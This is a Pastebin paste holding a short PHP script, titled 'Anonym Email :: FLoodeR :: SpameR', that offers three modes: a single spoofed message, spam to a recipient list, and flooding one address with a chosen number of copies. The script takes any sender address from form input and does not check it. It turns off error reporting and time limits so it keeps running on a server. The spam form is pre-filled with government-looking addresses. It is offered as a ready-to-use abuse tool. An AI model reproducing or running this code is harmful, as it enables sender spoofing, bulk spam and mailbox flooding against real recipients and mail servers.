Advertisement
Guest User

Anonym Email :: FLoodeR :: SpameR.php

a guest
Sep 20th, 2011
2,824
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.87 KB | None | 0 0
  1. <? /*
  2. © NOmeR1
  3. */ ?> <title>Sender Anonym Email :: FLoodeR :: SpameR</title> <? //
  4. error_reporting (0); if(!set_time_limit(0)) {
  5. $limit = false; } else {
  6. set_time_limit(0);
  7. ignore_user_abort(1);
  8. $limit = true; }
  9.  
  10. $log = 'log.txt'; // Log file
  11.  
  12. ini_set('max_execution_time', '0');
  13. ?>
  14. set_time_limit(0) = <?if($limit)echo('<font color=Green>On</font>');else
  15. echo('<font color=Red>Off</font> (Working time is limited with the current settings of the server)');?><br> <?
  16.  
  17. $ip = getenv('REMOTE_ADDR'); if($_GET['mail'] == '1' || $_GET['mail'] == '2' || $_GET['mail'] == '3') {
  18.  
  19. $_POST['to'] = stripslashes($_POST['to']);
  20. $_POST['msg'] = stripslashes($_POST['msg']);
  21. $_POST['from'] = stripslashes($_POST['from']);
  22. $_POST['subject'] = stripslashes($_POST['subject']);
  23. if($_POST['to'] && $_POST['msg'] && $_POST['from'] && $_POST['tipe']) {
  24. $headers = "MIME-Version: 1.0\r\n";
  25. $headers .= "Content-type: text/".$_POST['tipe']."; charset=windows-1251\r\n";
  26. $headers .= "From: ".$_POST['from']."\n"; if($_GET['mail'] == '1') {
  27. mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Cannot send the message'); }
  28. elseif($_GET['mail'] == '2') {
  29. $_POST['to'] = explode("\n",$_POST['to']); foreach($_POST['to'] as $poluchatels) {
  30. mail($poluchatels, $_POST['subject'], $_POST['msg'], $headers) or die('Cannot send the message'); } }
  31. elseif($_GET['mail'] == '3') { if(preg_match('/[0-9]+/',$_POST['kol'])) { for($i=0;$i<$_POST['kol'];$i++) {
  32. mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Cannot send the message');
  33. sleep(1); } } else {
  34. echo('Incorrect (or not entered) number of messages'); } }
  35. $f = fopen($log,'a');
  36. fwrite($f,'Message sent &'.$_POST['msg'].'& with subject "'.$_POST['subject'].'" for "'.$_POST['to'].'" from IP - "'.$ip."\"\r\n");
  37. fclose($f);
  38. echo('<center><b><font color="green">Message succesfully sent</font></b></center>'); } else { ?> <form style="width:350px" method='post'> <? if($_GET['mail'] == '1' || $_GET['mail'] == '3') {
  39. echo("Receiver <input type='text'name='to'><br>"); } ?>
  40. Sender <input type='text' name='from'><br>
  41. Subject <input type='text' name='subject'><br> <? if($_GET['mail'] == '3') {
  42. echo("Amount of messages <input type='text' name='kol'><br>"); } ?> <br>
  43. htm -> <input type='radio' checked='checked' tabindex='1' name='tipe' value='html'> :: <input type='radio' name='tipe' value='plain'><- text<br> <? if($_GET['mail'] == '2') {
  44. echo("Receivers<br><textarea name='to' rows='10' cols='30'>admin@fbi.org
  45. admin@cia.org
  46. admin@whitehouse.org</textarea>"); } ?> <br>Message<br> <textarea name='msg' rows='10' cols='30'></textarea><br><br><input type='submit'> </form> <? } } else { ?><br>
  47. <a href='<?=$_SERVER['PHP_SELF']?>?mail=1'>Send simple message</a><br>
  48. <a href='<?=$_SERVER['PHP_SELF']?>?mail=2'>Spam</a><br>
  49. <a href='<?=$_SERVER['PHP_SELF']?>?mail=3'>Flood</a><br> <? }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement